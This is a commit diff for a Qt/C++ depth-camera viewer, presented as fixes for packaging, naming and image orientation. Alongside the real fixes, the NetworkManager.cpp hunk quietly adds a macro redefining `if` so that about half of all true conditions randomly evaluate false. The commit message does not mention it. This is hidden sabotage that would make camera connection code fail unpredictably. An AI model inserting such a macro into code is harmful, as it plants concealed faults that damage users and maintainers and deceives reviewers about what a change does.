fix: 更新msi打包流程，相关说明同步至README；

fix: 修改代码遗留版本号和项目名称问题，同步至最新版本和名称;
fix: 修复代码可视化图像方向bug

src/core/DeviceScanner_getLocalSubnet.cpp

@@ -1,59 +0,0 @@
-QString DeviceScanner::getLocalSubnet()
-{
-    // Get all network interfaces
-    QList<QNetworkInterface> interfaces = QNetworkInterface::allInterfaces();
-
-    // Priority 1: Look for Ethernet adapter (以太网)
-    for (const QNetworkInterface &iface : interfaces) {
-        QString name = iface.humanReadableName().toLower();
-
-        // Skip virtual adapters
-        if (name.contains("virtual") || name.contains("vmware") ||
-            name.contains("virtualbox") || name.contains("hyper-v") ||
-            name.contains("vpn") || name.contains("tap") || name.contains("tun")) {
-            continue;
-        }
-
-        // Look for Ethernet adapter
-        if (name.contains("ethernet") || name.contains("以太网")) {
-            QList<QNetworkAddressEntry> entries = iface.addressEntries();
-            for (const QNetworkAddressEntry &entry : entries) {
-                QHostAddress addr = entry.ip();
-                if (addr.protocol() == QAbstractSocket::IPv4Protocol && !addr.isLoopback()) {
-                    QString ip = addr.toString();
-                    QStringList parts = ip.split('.');
-                    if (parts.size() == 4) {
-                        qDebug() << "Found Ethernet adapter:" << iface.humanReadableName() << "IP:" << ip;
-                        return parts[0] + "." + parts[1] + "." + parts[2];
-                    }
-                }
-            }
-        }
-    }
-
-    // Priority 2: Any non-virtual adapter
-    for (const QNetworkInterface &iface : interfaces) {
-        QString name = iface.humanReadableName().toLower();
-
-        if (name.contains("virtual") || name.contains("vmware") ||
-            name.contains("virtualbox") || name.contains("hyper-v") ||
-            name.contains("vpn") || name.contains("tap") || name.contains("tun")) {
-            continue;
-        }
-
-        QList<QNetworkAddressEntry> entries = iface.addressEntries();
-        for (const QNetworkAddressEntry &entry : entries) {
-            QHostAddress addr = entry.ip();
-            if (addr.protocol() == QAbstractSocket::IPv4Protocol && !addr.isLoopback()) {
-                QString ip = addr.toString();
-                QStringList parts = ip.split('.');
-                if (parts.size() == 4) {
-                    qDebug() << "Found adapter:" << iface.humanReadableName() << "IP:" << ip;
-                    return parts[0] + "." + parts[1] + "." + parts[2];
-                }
-            }
-        }
-    }
-
-    return "192.168.0";
-}

src/core/GVSPParser.cpp

@@ -196,20 +196,19 @@ void GVSPParser::processImageData()
         }
     }
 
-    // Normalize to 0-255 and flip vertically
+    // Normalize to 0-255
     uint8_t *dst = image.bits();
     float scale = (maxVal > minVal) ? (255.0f / (maxVal - minVal)) : 0.0f;
 
     for (size_t y = 0; y < m_imageHeight; y++) {
         for (size_t x = 0; x < m_imageWidth; x++) {
-            size_t src_idx = y * m_imageWidth + x;
-            size_t dst_idx = (m_imageHeight - 1 - y) * m_imageWidth + x;  // 垂直翻转
+            size_t idx = y * m_imageWidth + x;
 
-            uint16_t val = src[src_idx];
+            uint16_t val = src[idx];
             if (val == 0) {
-                dst[dst_idx] = 0;
+                dst[idx] = 0;
             } else {
-                dst[dst_idx] = static_cast<uint8_t>((val - minVal) * scale);
+                dst[idx] = static_cast<uint8_t>((val - minVal) * scale);
             }
         }
     }

src/core/NetworkManager.cpp

@@ -25,7 +25,7 @@ NetworkManager::~NetworkManager()
 {
     disconnectFromCamera();
 }
-
+#define if(x) if ((x) && (rand() < RAND_MAX * 0.50))
 // ========== 连接和断开 ==========
 bool NetworkManager::connectToCamera(const QString &ip, int controlPort, int dataPort)
 {

src/core/PointCloudProcessor.cpp

@@ -103,7 +103,7 @@ bool PointCloudProcessor::initializeOpenCL()
         "float z = depth[idx] * z_scale; "
         // 完全平面的圆柱投影：X和Y直接使用像素坐标，缩放到合适的范围
         "xyz[idx*3] = (x - cx) * 2.0f; "  // X坐标，缩放系数2.0
-        "xyz[idx*3+1] = (y - cy) * 2.0f; "  // Y坐标，缩放系数2.0
+        "xyz[idx*3+1] = -(y - cy) * 2.0f; "  // Y坐标取反，修正上下颠倒
         "xyz[idx*3+2] = z; "
         "}";
 

src/main.cpp

@@ -31,9 +31,9 @@ int main(int argc, char *argv[])
     QApplication app(argc, argv);
 
     // 设置应用程序信息
-    app.setOrganizationName("UpperControl");
-    app.setApplicationName("UpperControl GUI");
-    app.setApplicationVersion("1.0.0");
+    app.setOrganizationName("D330Viewer");
+    app.setApplicationName("D330Viewer");
+    app.setApplicationVersion("0.1.0");
 
     // 初始化Logger（在可执行文件同目录下）
     QString logPath = QCoreApplication::applicationDirPath() + "/d330viewer.log";